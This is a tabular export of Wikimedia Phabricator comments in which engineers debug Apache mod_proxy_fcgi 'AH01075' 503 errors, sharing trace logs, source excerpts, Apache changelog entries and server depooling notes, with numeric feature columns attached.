690346,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",@elukey it would be useful to save the corresponding access log as well.,,,1467910026,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.571428571428571,1.0,SCREEN_NAME it would be useful to save the corresponding access log as well.
690337,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","For anybody that wants to help, there is a complete error log in mw1261.eqiad.wmnet:/home/elukey/error_log_elukey_httpd_patched.log (read allowed only to root due to sensitive data on it, please let me know if you want to read it but don't have access)",,,1467909554,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,4.0,19.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,8.0,19.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.458333333333333,0.8541666666666666,"For anybody that wants to help, there is a complete error log in mw1261.eqiad.wmnet:/home/elukey/error_log_elukey_httpd_patched.log (read allowed only to root due to sensitive data on it, please let me know if you want to read it but don't have access)"
690185,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","More information thanks to @joe's patch to log FCGI headers.

Afaiu mod-proxy-fcgi does the following for each request:

1) sends AP_FCGI_BEGIN_REQUEST to let hhvm knows that a request is incoming.
2) sends the environment variables with all the details of the request to hhvm.
3) reads HHVM's response headers first (rather than the whole response) and decides what to do. For example, it might discover that the FCGI_VERSION is wrong (not 1 since it is the only value supported) and abort (ending up in AH01075) or reading the rest of the response and then proceed with flushing.

In this particular case it seems that the response is correctly read and flushed (so first round of FCGI headers are ok) but then for some reason mod-proxy-fcgi decides to keep going reading again FCGI headers, getting garbage.  

This ""garbage"" can be of two kind:

1) not starting with 01, triggering ""Bogus version X, expected 1"" AH01068
2) starting with 01 but not carrying 01 where the request id should be (only value supported), triggering ""Bogus rid X, expected 1"" AH01069

The final value is AH01075, that basically states ""something went wrong while reading FCGI, returning 503""

So the next steps is to figure out:

1) if we can find a repro use case, maybe checking the error.log on mw1261
2) figure out if this issue has already been resolved by more up to date versions of mod-proxy-fcgi (for example checking https://github.com/apache/httpd/commits/2.4.x/modules/proxy/mod_proxy_fcgi.c)



",,,1467894320,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0.75,0.25,0.0,1.0,0.75,4.0,1.5,0.0,0.0,0.75,1.0,0.0,0.0,0.5,0.0,0.5,0.5,4.0,10.25,0.25,1.5,0.25,0.5,0.0,0.75,0.25,0.0,0.0,0.75,0.0,0.25,4.75,2.75,0.75,0.25,0.0,0.25,0.0,0.25,1.75,0.0,0.0,0.25,1.25,0.25,0.75,0.0,0.0,0.75,11.75,0.25,1.0,0.0,0.75,0.25,0.0,0.0,0.25,0.75,0.25,0.5,0.5,0.0,0.25,0.0,0.0,0.25,4.25,2.75,6.0,2.25,1.75,5.75,0.0,0.0,0.0,0.0,3.0,0.0,2.75,0.0,1.25,10.25,4.75,0.0,2.25,0.0,1.25,0.0,0.75,0.5,0.0,4.0,0.5,0.0,1.25,3.8505244755244754,0.7420079920079921,"More information thanks toSCREEN_NAME's patch to log FCGI headers.

Afaiu mod-proxy-fcgi does the following for each request:

1) sends AP_FCGI_BEGIN_REQUEST to let hhvm knows that a request is incoming.
2) sends the environment variables with all the details of the request to hhvm.
3) reads HHVM's response headers first (rather than the whole response) and decides what to do. For example, it might discover that the FCGI_VERSION is wrong (not 1 since it is the only value supported) and abort (ending up in AH01075) or reading the rest of the response and then proceed with flushing.

In this particular case it seems that the response is correctly read and flushed (so first round of FCGI headers are ok) but then for some reason mod-proxy-fcgi decides to keep going reading again FCGI headers, getting garbage.  

This ""garbage"" can be of two kind:

1) not starting with 01, triggering ""Bogus version X, expected 1"" AH01068
2) starting with 01 but not carrying 01 where the request id should be (only value supported), triggering ""Bogus rid X, expected 1"" AH01069

The final value is AH01075, that basically states ""something went wrong while reading FCGI, returning 503""

So the next steps is to figure out:

1) if we can find a repro use case, maybe checking the error.log on mw1261
2) figure out if this issue has already been resolved by more up to date versions of mod-proxy-fcgi (for example checking URL



"
690168,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVXFP6Cw1EdYBLP_8GEz} [2016-07-07T12:05:29Z] <elukey> depooling mw1261 from service (T73487)",,,1467893129,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,3.3125,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-07-07T12:05:29Z] <elukey> depooling mw1261 from service (T73487)"
690099,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVXE1uat1EdYBLP_8GCy} [2016-07-07T10:11:06Z] <elukey> pooling mw1261 back to service with Apache mod-proxy-fcgi set to trace8 (T73487)",,,1467886266,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,9.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,3.2790697674418605,0.8372093023255814,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-07-07T10:11:06Z] <elukey> pooling mw1261 back to service with Apache mod-proxy-fcgi set to trace8 (T73487)"
689500,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","In the end, we decided we need the following patches:

- https://github.com/apache/httpd/commit/16e5bfb06d549dd932a98902bf9bf57c0b58bed9#diff-4395e4fb4d361fab4896eb4732e4b747 to suppress further logs from disconnecting clients
- https://github.com/apache/httpd/commit/22c41acf8a10f8553dbca14652b8f56f4521d915.patch to be able to dump full fcgi headers when in trace8 debug.

Work on porting both patches is ongoing, the second one in particular requires some pretty massive backporting and is probably not worth it besides for this investigation.",,,1467822071,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,1.0,0.0,0.0,0.0,1.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,15.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,4.0,6.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,15.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,4.323529411764706,0.8088235294117647,"In the end, we decided we need the following patches:

- URL to suppress further logs from disconnecting clients
- URL to be able to dump full fcgi headers when in trace8 debug.

Work on porting both patches is ongoing, the second one in particular requires some pretty massive backporting and is probably not worth it besides for this investigation."
689438,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVXAuU9SgCrwkbTdmd3B} [2016-07-06T15:00:17Z] <_joe_> depooling mw1261, installing an apache package with additional fixes (T73487)",,,1467817218,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,10.0,3.475,0.85,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-07-06T15:00:17Z] <_joe_> depooling mw1261, installing an apache package with additional fixes (T73487)"
689404,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","well @elukey this is indeed interesting and gives an explanation of why we don't see these errors on the API cluster.

It *clould* be due to some centralAuth_token that apache cannot understand. Decidedly worth investigating better.",,,1467813939,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,2.0,0.0,0.0,0.0,5.0,7.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,7.0,5.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,4.6976744186046515,0.9302325581395349,"wellSCREEN_NAME this is indeed interesting and gives an explanation of why we don't see these errors on the API cluster.

It *clould* be due to some centralAuth_token that apache cannot understand. Decidedly worth investigating better."
689394,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVXAbAqhgCrwkbTdmd0r} [2016-07-06T13:35:53Z] <elukey> depooling mw1261.eqiad to restore previous fcgi logging settings (T73487)",,,1467812154,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,3.8055555555555554,0.8888888888888888,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-07-06T13:35:53Z] <elukey> depooling mw1261.eqiad to restore previous fcgi logging settings (T73487)"
689386,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Performed the same test on mw1261, same result. I compared one meta.wikimedia.org request ending up with AH01609 and a ""regular"" one, the only diff that I found was the absence of ""Set-Cookie: centralauth_Token"" in the former.",,,1467810572,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,2.0,13.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,11.0,0.0,9.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0638297872340425,0.7659574468085106,"Performed the same test on mw1261, same result. I compared one meta.wikimedia.org request ending up with AH01609 and a ""regular"" one, the only diff that I found was the absence of ""Set-Cookie: centralauth_Token"" in the former."
689364,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVXADwsIgCrwkbTdmdy-} [2016-07-06T11:54:19Z] <elukey> depooling mw1261.eqiad.wmnet to raise Apache's mod-fcgi to trace8 for 503 investigation - T73487 (this will probably slow down a bit the host)",,,1467806059,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,3.7115384615384617,0.8653846153846154,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-07-06T11:54:19Z] <elukey> depooling mw1261.eqiad.wmnet to raise Apache's mod-fcgi to trace8 for 503 investigation - T73487 (this will probably slow down a bit the host)"
688747,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","So since I am very lucky, I discovered that the FCGI header dump has been released only on 2.4.17:

https://github.com/apache/httpd/commit/1dc13b934b683427e2bb906ced97804ec5318266

I tried anyway on mw1024 and got:

```
[Tue Jul 05 14:11:11.927064 2016] [proxy_fcgi:trace4] [pid 21493:tid 139785842632448] util_script.c(523):
Content-Encoding: gzip, referer: https://ru.wikipedia.org

[Tue Jul 05 14:11:11.927070 2016] [proxy_fcgi:trace4] [pid 21493:tid 139785842632448] util_script.c(523):
Content-Length: 10048, referer: https://ru.wikipedia.org

[Tue Jul 05 14:11:11.927076 2016] [proxy_fcgi:trace4] [pid 21493:tid 139785842632448] util_script.c(523):
Vary: Accept-Encoding, Cookie, Authorization, referer: https://ru.wikipedia.org

[Tue Jul 05 14:11:11.927082 2016] [proxy_fcgi:trace4] [pid 21493:tid 139785842632448] util_script.c(523):
Last-modified: Fri, 11 Sep 2015 02:13:37 GMT, referer: https://ru.wikipedia.org

[Tue Jul 05 14:11:11.927110 2016] [proxy_fcgi:error] [pid 21493:tid 139785842632448]
AH01070: Error parsing script headers, referer: https://ru.wikipedia.org

[Tue Jul 05 14:11:11.927124 2016] [proxy_fcgi:error] [pid 21493:tid 139785842632448]
AH01069: Got bogus rid 9030, expected 1, referer: https://ru.wikipedia.org

[Tue Jul 05 14:11:11.927141 2016] [proxy_fcgi:error] [pid 21493:tid 139785842632448] (22)Invalid argument:
AH01075: Error dispatching request to :, referer: https://ru.wikipedia.org
```

Highlight: Content-Length: 10048  --> so it seems that a response is indeed returned (doesn't tell us anything about the fcgi headers)

Since AH01075 was resolved simply checking if the connection was aborted or not by the client, a similar problem might affect AH01069 that comes right before it in the code.
",,,1467730448,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,0.0,1.0,0.5,3.5,2.0,1.5,0.5,0.0,0.0,1.0,1.0,1.0,0.0,0.5,0.0,2.5,0.0,7.5,9.0,1.0,0.0,0.0,1.5,0.0,3.5,0.0,0.0,0.0,1.0,0.0,0.0,4.5,1.5,1.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.5,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.5,4.0,8.0,4.0,1.5,6.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,4.0,9.0,6.5,0.0,0.0,0.0,4.0,0.0,1.0,2.0,1.0,1.0,0.0,0.0,0.5,3.7622549019607843,0.8257918552036199,"So since I am very lucky, I discovered that the FCGI header dump has been released only on 2.4.17:

URL

I tried anyway on mw1024 and got:

``CODE``

Highlight: Content-Length: 10048  --> so it seems that a response is indeed returned (doesn't tell us anything about the fcgi headers)

Since AH01075 was resolved simply checking if the connection was aborted or not by the client, a similar problem might affect AH01069 that comes right before it in the code.
"
688606,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVW6-H1Y1EdYBLP_8E2Q} [2016-07-05T12:11:35Z] <elukey> depooling/re-pooling mw1024.eqiad.wmnet to temporarily set up trace8 logging (503 investigation - T73487)",,,1467720695,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,12.0,3.86046511627907,0.8604651162790697,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-07-05T12:11:35Z] <elukey> depooling/re-pooling mw1024.eqiad.wmnet to temporarily set up trace8 logging (503 investigation - T73487)"
688139,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Interesting note about ""AH01069: Got bogus rid 9030, expected 1"": I checked access logs related to some error from https://logstash.wikimedia.org/#/dashboard/elasticsearch/apache2log and I always found something like:

```
2016-07-03T21:12:26     47794      proxy-server/503        0       GET     http://meta.wikimedia.org/w/index.php
```

This matches what I have noticed in the code, namely that mod-proxy-fcgi reads the FCGI response headers and skips the body if the request id is not 1. The value should be used to multiplex multiple request over the same FCGI connection but it is not supported by mod-proxy-fcgi, so it seems that something mangles the FCGI request id. 

Not sure about what the ""9030"" value means since it is always present.",,,1467629260,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,0.5,1.5,0.0,1.5,2.5,4.5,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,9.0,1.5,0.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,6.5,3.5,2.5,0.0,0.0,1.0,0.0,1.0,2.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,9.5,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,5.5,3.0,8.0,3.5,2.0,6.5,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,4.5,9.0,9.0,0.0,2.5,0.0,4.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.7265625,0.765625,"Interesting note about ""AH01069: Got bogus rid 9030, expected 1"": I checked access logs related to some error from URL and I always found something like:

``CODE``

This matches what I have noticed in the code, namely that mod-proxy-fcgi reads the FCGI response headers and skips the body if the request id is not 1. The value should be used to multiplex multiple request over the same FCGI connection but it is not supported by mod-proxy-fcgi, so it seems that something mangles the FCGI request id. 

Not sure about what the ""9030"" value means since it is always present."
688137,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Interesting note about ""AH01069: Got bogus rid 9030, expected 1"": I checked access logs for some error logs found in https://logstash.wikimedia.org/#/dashboard/elasticsearch/apache2log and I always found something like:

```
2016-07-03T21:12:26     47794      proxy-server/503        0       GET     http://meta.wikimedia.org/w/index.php
```

This matches what I have noticed in the code, namely that mod-proxy-fcgi reads the FCGI response headers and skips the body if the request id is not 1. The value should be used to multiplex multiple request over the same FCGI connection but it is not supported by mod-proxy-fcgi, so it seems that something mangles the FCGI request id. 

Not sure about what the ""9030"" value means since it is always present.",,,1467629202,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,0.5,1.5,0.0,1.5,2.5,4.5,1.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,4.0,9.0,1.5,0.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,6.5,4.0,2.5,0.0,0.0,1.0,0.0,1.0,2.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,10.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,5.5,3.0,8.0,3.5,2.0,6.5,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,4.5,9.0,9.0,0.0,2.5,0.0,4.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.7055288461538463,0.7442307692307693,"Interesting note about ""AH01069: Got bogus rid 9030, expected 1"": I checked access logs for some error logs found in URL and I always found something like:

``CODE``

This matches what I have noticed in the code, namely that mod-proxy-fcgi reads the FCGI response headers and skips the body if the request id is not 1. The value should be used to multiplex multiple request over the same FCGI connection but it is not supported by mod-proxy-fcgi, so it seems that something mangles the FCGI request id. 

Not sure about what the ""9030"" value means since it is always present."
687418,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Also the Bogus request id is surely a bug since you can read this comment in the function that calls dispatch (that logs the error):

```
/*
 * process the request and write the response.
 */
static int fcgi_do_request(apr_pool_t *p, request_rec *r,
                           proxy_conn_rec *conn,
                           conn_rec *origin,
                           proxy_dir_conf *conf,
                           apr_uri_t *uri,
                           char *url, char *server_portstr)
{
    /* Request IDs are arbitrary numbers that we assign to a
     * single request. This would allow multiplex/pipelining of
     * multiple requests to the same FastCGI connection, but
     * we don't support that, and always use a value of '1' to
     * keep things simple. */
    apr_uint16_t request_id = 1;
```",,,1467388087,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,18.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,12.0,3.0,9.0,3.0,0.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,0.8235294117647058,"Also the Bogus request id is surely a bug since you can read this comment in the function that calls dispatch (that logs the error):

``CODE``"
687406,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",">>! In T73487#2393128, @Joe wrote:
> The ""got bogus version 1"" is a logging bug and has been fixed in the jessie apache package.

Might be useful to keep track of everything:

https://bz.apache.org/bugzilla/show_bug.cgi?id=56110
https://svn.apache.org/r1564756

From 2.4.7 to 2.4.10 there are these relevant changes (from https://www.apache.org/dist/httpd/CHANGES_2.4):

  *) mod_proxy_fcgi: Use apr_socket_timeout_get instead of hard-coded
     30 seconds timeout. [Jan Kaluza]
  *) mod_proxy_fcgi: Fix error message when an unexpected protocol version
     number is received from the application.  PR 56110.  [Jeff Trawick]
  *) core: Detect incomplete request and response bodies, log an error and
     forward it to the underlying filters. PR 55475 [Yann Ylavic]
  *) mod_proxy_fcgi: Fix sending of response without some HTTP headers
     that might be set by filters.  PR 55558. [Jim Riggs <jim riggs.me>]
  *) mod_proxy_fcgi: Support iobuffersize parameter.  [Jeff Trawick]
  *) mod_proxy_fcgi: Fix occasional high CPU when handling request bodies.
     [Jeff Trawick]

From 2.4.10 onwards:

2.4.19
  *) mod_proxy_fcgi: Suppress HTTP error 503 and message 01075, 
     ""Error dispatching request"", when the cause appears to be 
     due to the client closing the connection. 
     PR58118.  [Tobias Adolph <adolph lrz.de>]

This one --^ might be easy to add as patch and afaiu is one of the main issues listed in this task. Related PR https://bz.apache.org/bugzilla/show_bug.cgi?id=58118

2.4.11 (that was not released, so 2.4.12):

Changes with Apache 2.4.11 (not released)
  
  *) SECURITY: CVE-2014-3583 (cve.mitre.org)
     mod_proxy_fcgi: Fix a potential crash due to buffer over-read, with 
     response headers' size above 8K.  [Yann Ylavic, Jeff Trawick]

  *) mod_proxy_fcgi: Provide some basic alternate options for specifying 
     how PATH_INFO is passed to FastCGI backends by adding significance to
